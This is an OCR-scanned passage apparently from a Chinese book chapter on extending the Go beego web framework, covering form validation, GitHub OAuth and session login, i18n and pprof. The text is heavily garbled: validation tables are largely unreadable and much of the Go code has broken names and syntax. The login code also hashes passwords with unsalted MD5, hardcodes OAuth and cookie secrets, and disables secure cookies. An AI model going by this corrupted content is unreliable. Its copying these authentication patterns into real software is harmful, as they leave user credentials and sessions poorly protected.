码 的 整个 流程 都 需要 修改 。 我 们 知道 在 Go 语言 里 面 struct 是 常用 的 一 个 
数据 结构 ， 因 此 beego 的 form 采 用 了 struct 来 处 理 表单 信息 。 

首先 定义 一 个 开发 Web 应 用 时 相对 应 的 struct， 一 个 字段 对 应 一 个 
form 元 素 ， 通 过 struct 的 tag 来 定义 相应 的 元 素 信 息 和 验证 信息 ， 如 下 所 






















不 。 
type User struct{ 
Username string © fo. xt, valid:required 
Nickname string “fo at, valid:required’ 


age int > form:text, valid: required |numeric* 
Email string “form:text, valid:required|valid_email* 
Introduce string ~form:textarea’ 


} 
定义 好 struct 之 后 ， 接 下 来 在 controller 中 操作 如 下 步骤 。 
fune (this *AddController) Get() ( 

this.Data["form"] = beego.Form(&User{}) 

this.Layout = "admin/layout .html" 

this.TplNames = "admin/add.tpl" 


) 

在 模板 中 显示 表单 。 

<hl>New Blog Post</h1> 

<form action="" method="post "> 
((.form. render ()}} 

</form> 


我 们 定义 好 了 整个 的 第 一 步 ， 从 struct 到 显示 表单 的 过 程 ， 接 下 来 


就 是 用 户 填写 信息 ， 服 务 器 端 接收 数据 然后 验证 ， 最 后 插入 数据 库 。 
func (this *AddController) Post() { 
var user User 


form := this.Get Input (éuser) 
if !form.Validates() { 
return 


上 
modela .UserInaert (&user) 
this.Ctx-Redirect (302, "/admin/index") 

} 


表单 类 型 


以 下 列表 列 出 来 了 对 应 的 form 元 素 信 
表 14-1 表单 元 素 









































名 称 5 s 功能 描述 
text No textbox (AME 
bation No E 
checkbox No 多 选择 想 
dropdown No FARENE 
file No 文件 上 伟 
hidden No BRNA 
password No 
radio No 
textarea No 














表单 验证 


以 下 列表 将 列 出 可 被 使 用 的 原生 规则 。 
表 14-2 表单 验证 规则 








































































































m 则 SR * 例 
required No 如 果 元 素 为 空 ， 则 
x y ‘WA TERRA OLS BRC A RERE RAAS marches[formi 
则 返回 FALSE tem] 
WRT REEMA TREE, ME] False 
x CRANE: Hh is unique(UserEmall, MARERA | is uniquefable 
ES j User 表 中 Email ACURA See AEE, 如 存 重复 ， | slay 
则 返回 false， 这 样 开发 者 就 不 必 另 写 Callback 验证 代码 ，) 
WA RAR MNP ARIES T SHOE MWK, ME 
min_iength Yes min_lengthl§] 
则 FALSE 
各 果 表 单元 素 值 的 字符 长 度 大 于 参数 中 定义 的 数字 。 DB 
max_length Yes max _Jength[ 12] 
回 FALSE 
如 果 表 单元 泰信 的 字符 长 度 与 邓 数 中 定 文 的 数字 相符, 则 
exact length | Yes exact length} 
返回 FALSE 
= A MARTRE, MDF ROE RIE, HY ae 
Gn JEP FALSE a 
RETER ECEN, EK FSE LIV W 
1ess_ihan Yes tess than(8} 
FALSE 
MRR PETRE IAEE, ME 
alpha No 
FALSE 
= aA tae, ay Re RA BF OE POL SHIH HD 
alphanumeric | No gece 
NATE RHO RF RCT FRI IN 
alpha dash No 
其 他 字符 ， 则 返回 FALSE 
numeric No 如 果 表 单元 素 值 中 包含 除数 字 以 外 的 字符 , 则 返回 FALSE 
imeger No ERRATEA ROUGE, WEH FALSE 
decimal Yes A TOR NBO 不 完整 的 优 ME FALSE 
NE, F WER OST EARE COREL 
= ACHE) » MBH FALSE. ARKO 0123. 
is_natural_no_ "i RR ERER TARA AEE, 
zero : 括 零 )】 ， 则 返回 FALSE， 非 各 的 自然 数 ，1.23... 等 
valid_email No dei ROMA AEE E-mail 地 址 , WGBI FALSE 
PET z RRR EN EUA RAEN Email 地址 
r ibs MAEL BED) «GIRL FALSE 
valid_ip No 如 果 表单 元 素 的 值 不 是 一 个 合法 的 IP thi, WHP FALSE 
MEETER AIRT bases 编码 字符 之 外 的 其 他 
valid_pases4 | Ne 








学 符 ， 则 返回 FALSE 























14.4 户 认证 





在 开发 Web 应 用 的 过 程 中 ， 用 户 认证 是 开发 者 经 常 遇 到 的 问题 ， 包 
括 用 户 登 录 、 注 册 、 登 出 等 操作 ， 一 般 认 证 分 为 三 个 方面 。 

e HTTP Basic 和 HTTP Digest 认 证 。 

© 第 三 方 集成 认证 : QQ. tiki, Sih, OPENID. google. 
github、Facebook 和 Twitter 等 。 

© 自 定义 的 用 户 登 录 、 注 册 、 登 出 ， 一 般 都 是 基于 Session、 
Cookie 认 证 。 

beego 目 前 没有 针对 这 三 种 方式 进行 任何 形式 的 集成 ， 但 是 可 以 充 
分 利用 第 三 方 开源 库 来 实现 上 面 三 种 方式 的 用 户 认证 ， 不 过 后 续 beego 
会 对 前 面 两 种 认证 逐步 集成 。 





HTTP Basic 和 HTTP Digest 认 证 


这 两 个 认证 的 应 用 采用 比较 简单 的 认证 ， 目 前 已 经 有 开源 的 第 三 方 
库 支 持 这 两 个 认证 。 
github. com/abbot/go-http-auth 


下 面 代 码 演示 了 如 何 把 这 个 库 引 入 beego 中 从 而 实现 认证 。 


package controllers 


import ( 
"github. com/abbot/go-http-auth" 
"github. com/astaxie/beego” 





, realm string) string { 











„Controller 





this. Tp1N 


E 面 代码 利用 了 beego 的 prepare 函 数 ， 在 执行 正常 逻辑 之 前 调用 了 
认证 函数 ， 这 样 就 非常 简单 地 实现 了 http auth，digest 的 认证 也 是 同样 的 
原理 。 


oauth 和 oauth2 的 认证 


oauth 和 oauth2 是 目前 比较 流行 的 两 种 认证 方式 ， 还 好 第 三 方 有 一 个 
库 实现 了 这 个 认证 ， 但 是 在 国外 实现 ， 没 有 QQ、 微 博之 类 的 国内 应 用 
github. com/bradrydzewski/go.auth 
下 面 代码 演示 了 如 何 把 该 库 引 入 beego 中 从 而 实现 oauth 的 认证 ， 这 
里 以 github 演 示 为 例 。 
1 添加 两 条 路 由 。 





beego.RegisterController("/auth/login", 
acontrollers.GithubController(}) 
beego.RegisterController("/mainpage", scontrollers.PageController{}) 


2. 处 理 GithubController 登 陆 的 页 面 。 


package controllers 





import ( 
"github .com/astaxis/beego" 
"github .com/bradrydzewski/go.auth" 





const ( 
githubclientkey = "a0864ea79ice7e7bd0de” 
githubSecretKey = "a0ec09a6470 68806402861 90bSa0d2705df56ca" 





type GithubController struct { 
beego.controller 
1 





nc (this *GithubController) Geti) { 
// set the auth parameters 
auth.config.cookiesecret = []byte("7H9xiimm2gardyr7rpadtgev") 
auth.Config.LoginSuccessRedirect = "/mainpage" 
auth.config.cookiesecure = false 


githubHandler := auth.cithub(githubclientkey, githubsecretkey) 


githubHandler.servesTTe (this.ctx.Responsewriter, this.ctx.Request) 





3. 处 理 登 陆 成 功 之 后 的 页 面 。 


package controllers 


import ( 
"github.com/astaxie/beego" 
*github.com/bradrydzewski/go.auth" 
net /http™ 
“net/url" 


type PageController struct { 
beego.Controller 


func (this *PageController) Get() { 
// set the auth parameters 
auth,Config.CookieSecret = []byte("7H9xiimkzQdTayI7:DadgJev") 
auth.Config. LoginSuccessRedirect = "/mainpage" 
auth, Config, CookieSecure = false 


user, err := auth,GetUserCockie(this.Ctx.Request) 





7/if no active user session then authorize user 
if err != nil || user.Id() == "" { 
http.Redirect (this.ctx.ResponseWriter, this.ctx.Request, auth, 
Contig. LoginRedirect, http.StatusSeeOther) 
return 





//else, add the user to the URL and continue 
this.Ctx-Request .URL.User = url.User(user.Td()} 
this.Data("pic"] = user.Picture() 
this.Data["id") = user.1d() 
this.Data["name"] = user.Name(] 

this. Tp1Names = "home.tpl" 


整个 的 流程 如 图 14.4 所 示 ， 首 先 打开 浏览 器 输入 地 址 。 


PCN Di 











Hello, world!astaxie, astaxie@gmail. com 


Authenticate with vase Github 14 


图 14.4 “显示 带 有 登录 按钮 的 首页 
然后 点 击 链接 出 现 如 下 界面 。 


[Re [pt cna 








图 uow 加 | @@ Ehre Git Blog Help one XE 


Author 





eeg 


ne a nem 





se a 


+ Read your pu orate, 
$ pase you user pote 

| Upate your puie and private repostores 
(commas, sue, er] 





图 14.5 点 击 登录 按钮 后 显示 github 的 授权 页 
点 击 Authorize app 就 出 现 如 下 界面 。 





€ > CŒ fi D localhost :8080/nainpage 








oauth url; astaxie 
Logout 


图 14.6 “授权 登录 之 后 显示 所 获取 的 github 信 息 页 
定义 认证 


自 定义 的 认证 一 般 都 是 和 Session 结 合 的 验证 ， 如 下 代码 来 源 于 一 个 
基于 beego 的 开源 博客 。 




















/7 登陆 处 理 

func (this *LoginController) Post() { 
this.tplNames = “login.tp1" 
this.ctx.Request.ParseForm() 
username := this.Ctx.Request.Forn 
password := this.ctx. 
mdSPassword := md5 
io.WriteString(mdSPassword, password) 
buffer := bytes .NewBuffer (nil) 
fmc.Fprintf (buffer, "sx", md5Password.sum(nil)) 
newPass := buffer. string() 





-Get ("username") 
set ("password") 





















now 





time .Now() .Format ("2006-01-02 15:04:05") 
userinfo := models.GetUserInfo (username) 
if userInfo.Password == newFass { 

var users models.User 

users.Last logintime = now 

models .Updatelserinfa (users) 








J ERNE session 





sess globalSessions.SessionStart (this.Ctx.ResponseWriter, 
this.ctx.Request) 
sess.Set ("uid", userInfo.Id) 





sess.Set ("uname", userInfo.Usernane) 


this.ctx.Redirect (302, "/") 


7/ 注册 处 理 
func (this *Regcontroller) Fost() { 
this.TplNames = "reg.tpl" 
this.ctx.Request. ParseForm() 
username := this.Ctx.Request.Form.Get ("username") 
password := this.Ctx.Request.Form.Get ("password") 
usererr := checkUsername (usernam 
fat. Println(u: 
if usererr 












{ 
this.Data["Usernamefrr"] = "Usern 





me Please to again" 
return 

} 

passerr ord (password) 





if passerr == false { 
this.Data["PasswordErr" 
retum 


= "Password err 





, Please to again” 


md5password := md5.New() 
do.Writestring(mdSPassword, password) 

buffer := bytes.NewBuffer (nil) 

fmt.rprintf (buffer, "sx", md5paseword.sum(nil}) 
nenPass := buffer.string() 








now 





time .Now() .Format ("2006-01-02 15:04:05") 





rInfo 





models.cetUserInfo (username) 





if userInfo.Username = 
var users models.User 
users.Username 
users. P: 


mq 


username 





word 
users.Created = now 

users.Last logintime 
models .AddUser (users) 


newPass 








= now 





117% 5 FURIE session 
sess globalsessions.SessionStart (this 
this.ctx,Request) 

sess.set ("uid", userInfo. Id) 

sess.Set ("uname", userinfo 
this.Ctx.Redirect (302, "/") 

} else { 
this.Data["Usernamezrr"] = "User already exists" 





ResponseWriter, 








Username) 





func checkpassword (password string) (b bool) { 
if ok, _ := regexp.MatchString("*{a-zA-Z0-9]{4,16)5", password); !ok 





return false 
} 
return true 

} 


func checkUsername (username string) (b bool) { 
if ok, _ := regexp.MatchString("*[a-zA-20-9](4,16}$", username); 1oK 








return false 


1 
return true 


) E et 
有 了 用 户 登录 和 注册 之 后 ， 其 他 模块 的 地 方 可 以 增加 如 下 这 类 用 户 
是 否 登录 的 判断 。 
func (this *AddBlogController) Prepare() { 
sess i= globalsessions.Sessionstart (this.ctx.Responsewriter, 
this.Ctx.Request) 
sess_uid i 
sess username ess .Get ("username") 
if sess uid { 
this.ctx.Redirect (302, "/admin/login") 
return 









} 


this Data["Username"] = sess username 


14.5 多 语言 支持 


际 化 和 本 地 化 ， 开 发 了 一 个 go-il8n 库 ， 本 节 我 们 将 
际 化 和 本 地 


第 10 章 介绍 
把 该 库 集成 到 beego 框 架 里 面 来 ， 使 得 我 们 的 框架 支 











i18n 集 成 

beego 中 设置 全 局 变量 如 下 。 
Translation i18n.1L 

Lang string // 设 置 语言 包 ，zh、en 
LangPath string ，// 设 总 请 言 包 所 在 位 置 
初始 化 多 语言 函数 。 





func Initiang(){ 
beego.Translation:=i18n.NewLocale() 
beego. Translation. LoadPath (beego. LangPath) 
beego. Translation. SetLocale (beego. Lang) 


为 方便 在 模板 中 直接 调用 多 语言 包 ， 我 们 设计 了 
应 的 多 语言 。 

beegotp1FuncMap["Trans"] = i18n.T18nT 

beegoTp1FuncMap|"TransDate"] = ilén.I1énTimeDate 

beegoTplFuncMap["TransMoney"] = i18n.I1@nMoney 











三 个 函数 来 处 理 响 


func T18nt(args ...interface{}) string { 
ok := false 

var s string 

if lenlargs) 

s, ok 








det 
args[01. (string) 





} 
if lok { 
s = imt.Sprint (args. 





i 
return beego.Translation. Translate (s} 
1 


func I18nTimeDate (args 
ok := false 
var s string 

if len(args) 14 

5, ok = args[0]. (string) 





nterface{}) 





tring { 








s = imt.Sprint (args. 





t 
return beego.Tral 





slation.Time (s) 


func T18nMoney (args 
ok := false 
var s string 
if len(args) rt 
5, ok = args[0]. (string) 





interface{}) string { 








f lok { 
fmt. Sprint (args. 





return beego.Translation.Money(s) 














发 使 














gpath = "views/lang" 
peego. InitLang () 

2. 设计 多 语言 包 

上 面 讲 了 如 何 初始 化 多 语言 














现在 设计 多 语言 包 ， 多 语言 包 是 


JSON 文 件 ， 如 第 10 章 所 介绍 ， 我 们 需要 把 设计 的 文件 放 在 LangPath 下 
面 ， 例 如 zh.json 或 者 en.json。 


# zh.json 





"create": 
} 
} 


#en.json 


: "Submit", 
"Create" 





3， 使 用 语言 包 
我 们 可 以 在 controller 中 调用 翻译 获取 相应 的 翻译 语言 ， 如 下 所 示 。 
func (this *MainController) Get() { 


this.Data["create"] = beego. Translation. Translate ("create") 
this.TplNames = "index,tpl" 


我 们 也 可 以 在 模板 中 直接 调用 相应 的 翻译 函数 。 
/7 站 楼 文 本 翻译 


({.create | Trans}} 








// 时 间 翻 译 


{{.time | TransDate}} 


77 货 币 翻 译 


({.money | TransMoney)} 


14.6 ”pprof 支 持 


Go 语言 有 一 个 非常 棒 的 设计 就 是 标准 库 里 面 带 有 代码 的 性 能 监控 
工具 ， 在 两 个 地 方 有 包 。 

net /http/pprof 
FESeneuhttp/pprof'l 只 是 使 用 runtime/pprof 包 来 进行 封装 了 一 下 ， 并 
在 http 端 口上 暴露 出 来 。 





beego 支 持 pprof 


目前 beego 框 架 新 增 了 pprof， 该 特性 默认 是 不 开启 的 ， 如 果 你 需要 
测试 性 能 ， 查 看 相应 的 执行 goroutine 之 类 的 信息 ， 其 实 Go 语 言 的 默认 
包 “net/http/pprof" 已 经 具有 该 功能 ， 如 果 0 语言 默认 的 方式 执行 
Web， 默 认 就 可 以 使 用 ， 但 是 由 于 beego 重 新 封装 了 ServHTTP 函 数 ， 所 
以 如 果 你 默认 的 包含 无 法 开启 该 功能 ， 所 以 需要 对 beego 的 内 部 改造 支 
持 pprof 。 

@ 首先 在 beego.Run 函 数 中 根据 变量 是 否 自动 加 载 性 能 包 。 

ns 

BeeApp.RegistezCont roller (° /debug/pprof/:pp ([\w]+} `, 

sProfcontroller{}) 

è 设计 ProfConterller。 






使 


package beego 


import ( 
“net /nttp/ppros” 
) 


type ProfController struct { 
Controller 


+ 


func (this *ProfController) Get() { 
switch this.Ctx.Params(":pp"] { 
default: 
pprof. Index (this.Ctx.ResponseWriter, this.Ctx.Request) 
case "ni 
pprof. Index (this.Ctx.ResponseWriter, this.ctx.Request) 
case "cmdline": 
pbrof cmdline (this.ctx.ResponseWriter, this.ctx.Request) 
case "profile": 
pprof.Profile(this.ctx.ResponseWriter, this.ctx.Request) 
case "symbol": 
pprof.Symbol (this.Ctx.ResponseWriter, this.Ctx,Request) 
} 
this.Ctx.ResponseWriter.Writelleader (200) 

















AN 
通过 上 面 的 设计 ， 你 可 以 通过 如 


beego.Pprofon = true 


然后 你 就 可 以 











\ 码 开启 pprof。 











ESON imams desonor 
Idobug/pprot/ 


profios: 

5 gorouline 
Oheop 
Athreadcreato 





full goroutine stack dump 











图 14.7 RY 


点 击 goroutine 可 以 看 到 很 多 详细 的 信息 。 
我 们 还 可 以 通过 命令 行 获取 更 多 详细 的 信息 。 


go tool pprof http://localhost :#080/debug/pprof/profile 





前 goroutine、heap、thread 信 息 





览 器 中 打开 如 下 URL 看 到 如 图 14.7 所 示 的 界面 。 











imple ose 
人 


图 14.8 显示 当前 goroutine 的 详细 信息 


这 时 程序 就 会 进入 30 秒 的 profile 收 集 时 间 ， 在 这 段 时 间 内 拼命 刷新 
浏览 器 上 的 页 面 ， 尽 量 让 cpu 占 用 性 能 产生 数据 。 


(pprof) tcpl0 





3 samples 
1 33.3% 33.3% 1 33.3% MHeap AllocLocked 
1 33.38 66.7% 1 33.3% os/exec. (*Cmd) .closeDescriptors 


1 33.3% 100.0% 1 33.3% runtime.sigprocmask 





‘0% 1 33.3% MCentral Grow 
0 0.0% 100.0% 2 66.7% main.compile 


0 0.0% 100.08 


.7% main.compile 
0 0.0% 100.0% 2 66.7% main.run 
0 0.0% 100.08 1 33.3% makeslicel 


0 0.0% 100.0% 2 66.7% net/http. (*Servemux) .ServeHTTP 





0 0.0% -7% net/http. (*conn) .serve 


(pprof) web 


gotour 
‘Total samples: 3 
Focusing on: 3 


Dropped nodes with <= 0 abs(samples) ca 
Dropped edges with <= 0 samples \ 








runtime.sigprocmask 


T 1 33.3%) 
ar = 


图 14.9 ”展示 的 执行 流程 信息 











14.7 小 结 


本 章 主 要 阐述 了 如 何 基于 beego 框 架 进 行 扩展 。 第 14.1 节 静态 文件 主 
要 讲述 了 如 何 利 用 beego 进 行 快速 的 网 站 开发 ， 利 用 bootstrap 搭 建 漂亮 的 
站 点 ， 第 14.2 结 讲解 了 如 何在 beego 中 集成 sessionManager， 方 便 用 户 在 
利用 beego 的 时 候 快速 使 用 Session; 第 14.3 结 介绍 了 表单 和 验证 ， 基 于 
Go 语言 的 struct 的 定义 使 得 我 们 在 开发 Web 的 过 程 中 从 重复 的 工作 中 解 
放出 来 ， 而 且 加 入 了 验证 之 后 可 以 尽量 做 到 数据 安全 ， 第 14.4 结 介绍 了 
用 户 认 证 ， 用 户 认 证 主要 有 三 方面 的 需求 ，http basic 和 http digest 认 证 ， 
第 三 方 认 证 ， 自 定义 认证 ， 通 过 代码 演示 了 如 何 利用 现 有 的 第 三 方 包 集 
成 到 beego 应 用 中 来 实现 这 些 认 证 ， 第 14.5 节 介绍 了 多 语言 的 支持 ， 
beego 中 集成 了 go-il8n 这 个 多 语言 包 ， 用 户 可 以 很 方便 地 利用 该 库 开发 
多 语言 的 Web 应 用 ;第 14.6 节 介绍 了 如 何 集成 Go 语言 的 pprof 包 ，pprof 包 


是 用 于 性 能 调试 的 工具 ， 通 过 对 beego 的 改造 之 后 集成 了 pprof 包 ， 使 得 
用 户 可 以 利用 pprof 测 试 基于 beego 开 发 的 应 用 ， 通 过 这 6 节 的 介绍 ， 我 们 
扩展 出 来 了 一 个 比较 强壮 的 beego 框 架 ， 这 个 框架 足以 应 付 目前 大 多 数 
的 Web 应 用 ， 用 户 可 以 继续 发 挥 自己 的 想象 力 去 扩展 。 


这 本 书 的 内 容 基本 上 是 笔者 学 
中 的 一 些 经 验 总 结 ， 里 面部 分 内 容 参 考 了 很 多 站 点 的 内 容 ， 感 谢 这 些 站 


附录 A 参考 资料 





: 习 Go 语 言 过 程 以 及 从 事 Web 开 发 


点 的 内 容 让 我 能 够 总 结 出 来 这 本 书 ， 参 考 资料 如 下 : 


CONDNAWNE 


golang blog 


. Russ Cox blog 


go book 


. golangtutorials 

. 轩 脉 思 de 刀 光 剑 影 

.Go 语言 官网 文档 

. Network programming with Go 

. setup-the-rails-application-for-internationalization 
. The Cross-Site Scripting (XSS) FAQ 


